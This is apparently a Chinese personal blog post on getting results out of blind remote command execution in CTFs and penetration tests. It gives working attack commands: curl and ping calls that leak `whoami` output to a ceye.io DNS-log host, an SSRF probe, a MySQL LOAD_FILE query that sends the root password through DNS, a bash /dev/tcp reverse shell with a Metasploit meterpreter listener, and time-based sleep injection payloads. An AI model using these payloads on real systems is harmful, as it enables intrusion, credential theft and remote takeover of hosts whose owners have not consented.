菠萝吹雪's Studio.

rce无回显的一种办法

字数统计: 607阅读时长: 2 min
2019/07/08 Share

前言

看到飘零师傅的一篇文章受到启发

1
https://skysec.top/2017/12/29/Time-Based-RCE/

在比赛或者实际渗透的时候常会遇到命令执行无回显的情况,在这里记录一下。

1.利用ceye.io将回显带出

这种方法实际上运用了DNSlog注入,通过读取多级域名的解析日志,来获取信息。简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息。事实上适用于很多无回显的情况.
例如:
针对ssrf无回显的情况,可以采用这种方法

1
http://www.111.222.333.com/index.php?url=http://ip.port.b182oj.ceye.io/ssrf

或者针对rce无回显的情况

1
2
curl http://ip.port.b182oj.ceye.io/`whoami`
ping `whoami`.ip.port.b182oj.ceye.io

执行完毕可以在自己的控制台查看DNS request
或者针对sql注入

1
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.ip.port.b182oj.ceye.io\\abc'));

并且,如果执行了ls命令,只能回弹一行
可以采用sed命令进行行的划分

1
2
3
4
root@iZwz9i9xnerwj6o7h40eauZ:~# ls | sed -n '1p'
0708.py
root@iZwz9i9xnerwj6o7h40eauZ:~# ls | sed -n '2p'
1123.php

又或者文件名长度超过限制,可以使用cut命令对文件名进行划分

1
2
3
4
root@iZwz9i9xnerwj6o7h40eauZ:~# ls | sed -n '1p' | cut -c 1-3
070
root@iZwz9i9xnerwj6o7h40eauZ:~# ls | sed -n '1p' | cut -c 1-2
07

2. 反弹shell

比赛里应该会有bypass,但是在实际渗透中不失为一种思路,命令虽然无回显,但是可以直接反弹shell来获取目标主机的权限,最喜欢用的msf
目标机执行

1
bash -i >& /dev/tcp/ip/port 0&>1

msf监听

1
2
3
4
5
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost localhost
set lport port
exploit

最常用的反向连接shell
还有别的不再赘述

3.类似利用sleep进行回显

最后一种就是飘零师傅所讲的Time-Based-RCE
如果执行命令

1
?cmd=if [1=1];then sleep 10;fi

会延迟10秒后响应

1
?cmd=if [1=2];then sleep 10;fi

会立即响应,所以可以利用这种类似sql盲注的方法进行RCE执行结果获取

1
?cmd = if [$(whoami|base32|cut –c 1)=O];then sleep 10;fi

最后进过base32处理也是为了最后输出的只有大写字符和数字,如果输出正确则响应10s,输出错误立即响应
github上也有对应的工具

1
https://github.com/dancezarp/TBDEx

CATALOG
  1. 1. 前言
    1. 1.0.1. 1.利用ceye.io将回显带出
    2. 1.0.2. 2. 反弹shell
    3. 1.0.3. 3.类似利用sleep进行回显